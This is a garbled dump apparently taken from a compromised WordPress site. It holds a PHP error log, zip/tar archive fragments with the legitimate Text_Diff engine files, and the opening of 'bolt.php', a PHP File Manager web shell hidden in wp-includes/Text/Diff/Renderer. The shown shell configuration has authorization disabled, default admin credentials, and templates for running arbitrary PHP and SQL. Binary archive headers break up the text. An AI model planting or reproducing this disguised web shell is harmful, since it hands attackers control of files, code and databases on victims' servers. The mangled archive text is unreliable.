[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
